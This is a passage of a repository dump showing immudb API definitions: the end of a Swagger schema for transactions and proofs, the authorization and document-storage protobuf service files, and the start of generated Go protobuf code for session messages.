\"schemaReference\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction if when the reference key was set\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Reference key\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Metadata of the reference entry\"\n        },\n        \"revision\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Revision of the reference entry\"\n        }\n      }\n    },\n    \"schemaSignature\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"publicKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"signature\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        }\n      }\n    },\n    \"schemaTx\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"header\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Transaction header\"\n        },\n        \"entries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaTxEntry\"\n          },\n          \"title\": \"Raw entry values\"\n        },\n        \"kvEntries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaEntry\"\n          },\n          \"title\": \"KV entries in the transaction (parsed)\"\n        },\n        \"zEntries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaZEntry\"\n          },\n          \"title\": \"Sorted Set entries in the transaction (parsed)\"\n        }\n      }\n    },\n    \"schemaTxEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Raw key value (contains 1-byte prefix for kind of the key)\"\n        },\n        \"hValue\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Value hash\"\n        },\n        \"vLen\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Value length\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Entry metadata\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"description\": \"value, must be ignored when len(value) == 0 and vLen \\u003e 0.\\nOtherwise sha256(value) must be equal to hValue.\"\n        }\n      }\n    },\n    \"schemaTxHeader\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"id\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction ID\"\n        },\n        \"prevAlh\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"State value (Accumulative Hash - Alh) of the previous transaction\"\n        },\n        \"ts\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Unix timestamp of the transaction (in seconds)\"\n        },\n        \"nentries\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Number of entries in a transaction\"\n        },\n        \"eH\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Entries Hash - cumulative hash of all entries in the transaction\"\n        },\n        \"blTxId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Binary linking tree transaction ID\\n(ID of last transaction already in the main Merkle Tree)\"\n        },\n        \"blRoot\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Binary linking tree root (Root hash of the Merkle Tree)\"\n        },\n        \"version\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Header version\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaTxMetadata\",\n          \"title\": \"Transaction metadata\"\n        }\n      }\n    },\n    \"schemaTxMetadata\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"truncatedTxID\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Entry expiration information\"\n        },\n        \"extra\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Extra data\"\n        }\n      },\n      \"title\": \"TxMetadata contains metadata set to whole transaction\"\n    },\n    \"schemaVerifiableTxV2\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"$ref\": \"#/definitions/schemaTx\",\n          \"title\": \"Transaction to verify\"\n        },\n        \"dualProof\": {\n          \"$ref\": \"#/definitions/schemaDualProofV2\",\n          \"title\": \"Proof for the transaction\"\n        },\n        \"signature\": {\n          \"$ref\": \"#/definitions/schemaSignature\",\n          \"title\": \"Signature for the new state value\"\n        }\n      }\n    },\n    \"schemaZEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"set\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Name of the sorted set\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Referenced key\"\n        },\n        \"entry\": {\n          \"$ref\": \"#/definitions/schemaEntry\",\n          \"title\": \"Referenced entry\"\n        },\n        \"score\": {\n          \"type\": \"number\",\n          \"format\": \"double\",\n          \"title\": \"Sorted set element's score\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"At which transaction the key is bound,\\n0 if reference is not bound and should read the most recent reference\"\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"ApiKeyAuth\": {\n      \"type\": \"apiKey\",\n      \"description\": \"Session Identifier\",\n      \"name\": \"sessionid\",\n      \"in\": \"header\"\n    }\n  },\n  \"security\": [\n    {\n      \"ApiKeyAuth\": []\n    }\n  ]\n}\n"
  },
  {
    "path": "pkg/api/proto/authorization.proto",
    "content": "/*\nCopyright 2023 Codenotary Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\nsyntax = \"proto3\";\n\npackage immudb.model;\n\nimport \"google/api/annotations.proto\";\nimport \"protoc-gen-swagger/options/annotations.proto\";\n\noption go_package = \"github.com/codenotary/immudb/pkg/api/protomodel\";\noption (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = {\n  base_path: \"/api/v2\",\n  info: {\n    title: \"immudb REST API v2\";\n    description: \"Authorization API\"\n  };\n  security_definitions: {\n    security: {\n      key: \"ApiKeyAuth\"\n      value: {\n        type: TYPE_API_KEY\n        in: IN_HEADER\n        name: \"sessionid\"\n        description: \"Session Identifier\"\n      }\n    }\n  }\n  security: {\n    security_requirement: {\n      key: \"ApiKeyAuth\"\n    }\n  }\n};\n\nmessage OpenSessionRequest {\n  string username = 1;\n  string password = 2;\n  string database = 3;\n}\n\nmessage OpenSessionResponse {\n  string sessionID = 1;\n  string serverUUID = 2;\n  int32 expirationTimestamp = 3;\n  int32 inactivityTimestamp = 4;\n}\n\nmessage KeepAliveRequest {}\n\nmessage KeepAliveResponse {}\n\nmessage CloseSessionRequest {}\n\nmessage CloseSessionResponse {}\n\nservice AuthorizationService {\n  rpc OpenSession(OpenSessionRequest) returns (OpenSessionResponse) {\n    option (google.api.http) = {\n      post: \"/authorization/session/open\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n      tags: \"authorization\";\n    };\n  }\n\n  rpc KeepAlive(KeepAliveRequest) returns (KeepAliveResponse) {\n    option (google.api.http) = {\n      post: \"/authorization/session/keepalive\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"authorization\";\n    };\n  }\n\n  rpc CloseSession(CloseSessionRequest) returns (CloseSessionResponse) {\n    option (google.api.http) = {\n      post: \"/authorization/session/close\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"authorization\";\n    };\n  }\n}\n"
  },
  {
    "path": "pkg/api/proto/documents.proto",
    "content": "/*\nCopyright 2023 Codenotary Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\nsyntax = \"proto3\";\n\npackage immudb.model;\n\nimport \"google/api/annotations.proto\";\nimport \"google/protobuf/struct.proto\";\nimport \"protoc-gen-swagger/options/annotations.proto\";\nimport \"schema.proto\";\n\noption go_package = \"github.com/codenotary/immudb/pkg/api/protomodel\";\noption (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = {\n  base_path: \"/api/v2\",\n  info: {\n    title: \"immudb REST API v2\";\n    description: \"Document Storage API\"\n  };\n  security_definitions: {\n    security: {\n      key: \"ApiKeyAuth\"\n      value: {\n        type: TYPE_API_KEY\n        in: IN_HEADER\n        name: \"sessionid\"\n        description: \"Session Identifier\"\n      }\n    }\n  }\n  security: {\n    security_requirement: {\n      key: \"ApiKeyAuth\"\n    }\n  }\n};\n\nmessage CreateCollectionRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\",\n        \"documentIdFieldName\"\n      ]\n    }\n  };\n\n  string name = 1;\n  string documentIdFieldName = 2;\n  repeated Field fields = 3;\n  repeated Index indexes = 4;\n}\n\nmessage CreateCollectionResponse {}\n\nmessage Field {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\",\n        \"type\"\n      ]\n    }\n  };\n\n  string name = 1;\n  FieldType type = 2;\n}\n\nenum FieldType {\n  STRING = 0;\n  BOOLEAN = 1;\n  INTEGER = 2;\n  DOUBLE = 3;\n  UUID = 4;\n}\n\nmessage Index {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"fields\",\n        \"isUnique\"\n      ]\n    }\n  };\n\n  repeated string fields = 1;\n  bool isUnique = 2;\n}\n\nmessage GetCollectionRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\"\n      ]\n    }\n  };\n\n  string name = 1;\n}\n\nmessage GetCollectionResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collection\"\n      ]\n    }\n  };\n\n  Collection collection = 1;\n}\n\nmessage Collection {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\",\n        \"documentIdFieldName\",\n        \"fields\",\n        \"indexes\"\n      ]\n    }\n  };\n\n  string name = 1;\n  string documentIdFieldName = 2;\n  repeated Field fields = 3;\n  repeated Index indexes = 4;\n}\n\nmessage GetCollectionsRequest {}\n\nmessage GetCollectionsResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collections\"\n      ]\n    }\n  };\n\n  repeated Collection collections = 1;\n}\n\nmessage DeleteCollectionRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\"\n      ]\n    }\n  };\n\n  string name = 1;\n}\n\nmessage DeleteCollectionResponse {}\n\nmessage UpdateCollectionRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"name\",\n        \"documentIdFieldName\"\n      ]\n    }\n  };\n\n  string name = 1;\n  string documentIdFieldName = 2;\n}\n\nmessage UpdateCollectionResponse {}\n\nmessage AddFieldRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"field\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  Field field = 2;\n}\n\nmessage AddFieldResponse {}\n\nmessage RemoveFieldRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"fieldName\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  string fieldName = 2;\n}\n\nmessage RemoveFieldResponse {}\n\nmessage CreateIndexRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"fields\",\n        \"isUnique\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  repeated string fields = 2;\n  bool isUnique = 3;\n}\n\nmessage CreateIndexResponse {}\n\nmessage DeleteIndexRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"fields\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  repeated string fields = 2;\n}\n\nmessage DeleteIndexResponse {}\n\nmessage InsertDocumentsRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"documents\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  repeated google.protobuf.Struct documents = 2;\n}\n\nmessage InsertDocumentsResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"transactionId\",\n        \"documentIds\"\n      ]\n    }\n  };\n\n  uint64 transactionId = 1;\n  repeated string documentIds = 2;\n}\n\nmessage ReplaceDocumentsRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"query\",\n        \"document\"\n      ]\n    }\n  };\n\n  Query query = 1;\n  google.protobuf.Struct document = 2;\n}\n\nmessage ReplaceDocumentsResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"revisions\"\n      ]\n    }\n  };\n\n  repeated DocumentAtRevision revisions = 1;\n}\n\nmessage DeleteDocumentsRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"query\"\n      ]\n    }\n  };\n\n  Query query = 1;\n}\n\nmessage DeleteDocumentsResponse {}\n\nmessage SearchDocumentsRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"searchId\",\n        \"query\",\n        \"page\",\n        \"pageSize\"\n      ]\n    }\n  };\n\n  string searchId = 1;\n\n  Query query = 2;\n\n  uint32 page = 3;\n  uint32 pageSize = 4;\n\n  bool keepOpen = 5;\n}\n\nmessage Query {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"expressions\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  repeated QueryExpression expressions = 2;\n  repeated OrderByClause orderBy = 3;\n  uint32 limit = 4;\n}\n\nmessage QueryExpression {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"fieldComparisons\"\n      ]\n    }\n  };\n\n  repeated FieldComparison fieldComparisons = 1;\n}\n\nmessage FieldComparison {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"field\",\n        \"operator\",\n        \"value\"\n      ]\n    }\n  };\n\n  string field = 1;\n  ComparisonOperator operator = 2;\n  google.protobuf.Value value = 3;\n}\n\nenum ComparisonOperator {\n  EQ = 0;\n  NE = 1;\n  LT = 2;\n  LE = 3;\n  GT = 4;\n  GE = 5;\n  LIKE = 6;\n  NOT_LIKE = 7;\n}\n\nmessage OrderByClause {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"field\",\n        \"desc\"\n      ]\n    }\n  };\n\n  string field = 1;\n  bool desc = 2;\n}\n\nmessage SearchDocumentsResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"searchId\",\n        \"revisions\"\n      ]\n    }\n  };\n\n  string searchId = 1;\n  repeated DocumentAtRevision revisions = 2;\n}\n\nmessage DocumentAtRevision {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"transactionId\",\n        \"documentId\",\n        \"revision\"\n      ]\n    }\n  };\n\n  uint64 transactionId = 1;\n  string documentId = 2;\n  uint64 revision = 3;\n  DocumentMetadata metadata = 4;\n  google.protobuf.Struct document = 5;\n  string username = 6;\n  int64 ts = 7;\n}\n\nmessage DocumentMetadata {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"deleted\"\n      ]\n    }\n  };\n\n  bool deleted = 1;\n}\n\nmessage CountDocumentsRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"query\"\n      ]\n    }\n  };\n\n  Query query = 1;\n}\n\nmessage CountDocumentsResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"count\"\n      ]\n    }\n  };\n\n  int64 count = 1;\n}\n\nmessage AuditDocumentRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"documentId\",\n        \"desc\",\n        \"page\",\n        \"pageSize\",\n        \"omitPayload\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  string documentId = 2;\n  bool desc = 3;\n  uint32 page = 4;\n  uint32 pageSize = 5;\n  bool omitPayload = 6;\n}\n\nmessage AuditDocumentResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"revisions\"\n      ]\n    }\n  };\n\n  repeated DocumentAtRevision revisions = 1;\n}\n\nmessage ProofDocumentRequest {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"collectionName\",\n        \"documentId\",\n        \"transactionId\",\n        \"proofSinceTransactionId\"\n      ]\n    }\n  };\n\n  string collectionName = 1;\n  string documentId = 2;\n  uint64 transactionId = 3;\n  uint64 proofSinceTransactionId = 4;\n}\n\nmessage ProofDocumentResponse {\n  option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = {\n    json_schema: {\n      required: [\n        \"database\",\n        \"collectionId\",\n        \"documentIdFieldName\",\n        \"encodedDocument\",\n        \"verifiableTx\"\n      ]\n    }\n  };\n\n  string database = 1;\n  uint32 collectionId = 2;\n  string documentIdFieldName = 3;\n  bytes encodedDocument = 4;\n  schema.VerifiableTxV2 verifiableTx = 5;\n}\n\nservice DocumentService {\n  rpc CreateCollection(CreateCollectionRequest) returns (CreateCollectionResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{name}\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc GetCollections(GetCollectionsRequest) returns (GetCollectionsResponse) {\n    option (google.api.http) = {\n      get: \"/collections\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc GetCollection(GetCollectionRequest) returns (GetCollectionResponse) {\n    option (google.api.http) = {\n      get: \"/collection/{name}\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc UpdateCollection(UpdateCollectionRequest) returns (UpdateCollectionResponse) {\n    option (google.api.http) = {\n      put: \"/collection/{name}\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc DeleteCollection(DeleteCollectionRequest) returns (DeleteCollectionResponse) {\n    option (google.api.http) = {\n      delete: \"/collection/{name}\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc AddField(AddFieldRequest) returns (AddFieldResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{collectionName}/field\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc RemoveField(RemoveFieldRequest) returns (RemoveFieldResponse) {\n    option (google.api.http) = {\n      delete: \"/collection/{collectionName}/field/{fieldName}\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{collectionName}/index\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc DeleteIndex(DeleteIndexRequest) returns (DeleteIndexResponse) {\n    option (google.api.http) = {\n      delete: \"/collection/{collectionName}/index\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc InsertDocuments(InsertDocumentsRequest) returns (InsertDocumentsResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{collectionName}/documents\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc ReplaceDocuments(ReplaceDocumentsRequest) returns (ReplaceDocumentsResponse) {\n    option (google.api.http) = {\n      put: \"/collection/{query.collectionName}/documents/replace\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: [\n        \"documents\"\n      ];\n    };\n  }\n\n  rpc DeleteDocuments(DeleteDocumentsRequest) returns (DeleteDocumentsResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{query.collectionName}/documents/delete\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: [\n        \"documents\"\n      ];\n    };\n  }\n\n  rpc SearchDocuments(SearchDocumentsRequest) returns (SearchDocumentsResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{query.collectionName}/documents/search\"\n      body: \"*\"\n\n      additional_bindings: {\n        post: \"/collection/documents/search/{searchId}\"\n        body: \"*\"\n      }\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc CountDocuments(CountDocumentsRequest) returns (CountDocumentsResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{query.collectionName}/documents/count\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: \"documents\";\n    };\n  }\n\n  rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{collectionName}/document/{documentId}/audit\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: [\n        \"documents\"\n      ];\n    };\n  }\n\n  rpc ProofDocument(ProofDocumentRequest) returns (ProofDocumentResponse) {\n    option (google.api.http) = {\n      post: \"/collection/{collectionName}/document/{documentId}/proof\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      tags: [\n        \"documents\"\n      ];\n    };\n  }\n}\n"
  },
  {
    "path": "pkg/api/protomodel/authorization.pb.go",
    "content": "//\n//Copyright 2023 Codenotary Inc. All rights reserved.\n//\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n\n// Code generated by protoc-gen-go. DO NOT EDIT.\n// versions:\n// \tprotoc-gen-go v1.32.0\n// \tprotoc        v3.21.12\n// source: authorization.proto\n\npackage protomodel\n\nimport (\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options\"\n\t_ \"google.golang.org/genproto/googleapis/api/annotations\"\n\tprotoreflect \"google.golang.org/protobuf/reflect/protoreflect\"\n\tprotoimpl \"google.golang.org/protobuf/runtime/protoimpl\"\n\treflect \"reflect\"\n\tsync \"sync\"\n)\n\nconst (\n\t// Verify that this generated code is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)\n\t// Verify that runtime/protoimpl is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)\n)\n\ntype OpenSessionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tUsername string `protobuf:\"bytes,1,opt,name=username,proto3\" json:\"username,omitempty\"`\n\tPassword string `protobuf:\"bytes,2,opt,name=password,proto3\" json:\"password,omitempty\"`\n\tDatabase string `protobuf:\"bytes,3,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *OpenSessionRequest) Reset() {\n\t*x = OpenSessionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[0]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *OpenSessionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*OpenSessionRequest) ProtoMessage() {}\n\nfunc (x *OpenSessionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[0]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead.\nfunc (*OpenSessionRequest) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{0}\n}\n\nfunc (x *OpenSessionRequest) GetUsername() string {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn \"\"\n}\n\nfunc (x *OpenSessionRequest) GetPassword() string {\n\tif x != nil {\n\t\treturn x.Password\n\t}\n\treturn \"\"\n}\n\nfunc (x *OpenSessionRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype OpenSessionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tSessionID           string `protobuf:\"bytes,1,opt,name=sessionID,proto3\" json:\"sessionID,omitempty\"`\n\tServerUUID          string `protobuf:\"bytes,2,opt,name=serverUUID,proto3\" json:\"serverUUID,omitempty\"`\n\tExpirationTimestamp int32  `protobuf:\"varint,3,opt,name=expirationTimestamp,proto3\" json:\"expirationTimestamp,omitempty\"`\n\tInactivityTimestamp int32  `protobuf:\"varint,4,opt,name=inactivityTimestamp,proto3\" json:\"inactivityTimestamp,omitempty\"`\n}\n\nfunc (x *OpenSessionResponse) Reset() {\n\t*x = OpenSessionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[1]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *OpenSessionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*OpenSessionResponse) ProtoMessage() {}\n\nfunc (x *OpenSessionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[1]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead.\nfunc (*OpenSessionResponse) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{1}\n}\n\nfunc (x *OpenSessionResponse) GetSessionID() string {\n\tif x != nil {\n\t\treturn x.SessionID\n\t}\n\treturn \"\"\n}\n\nfunc (x *OpenSessionResponse) GetServerUUID() string {\n\tif x != nil {\n\t\treturn x.ServerUUID\n\t}\n\treturn \"\"\n}\n\nfunc (x *OpenSessionResponse) GetExpirationTimestamp() int32 {\n\tif x != nil {\n\t\treturn x.ExpirationTimestamp\n\t}\n\treturn 0\n}\n\nfunc (x 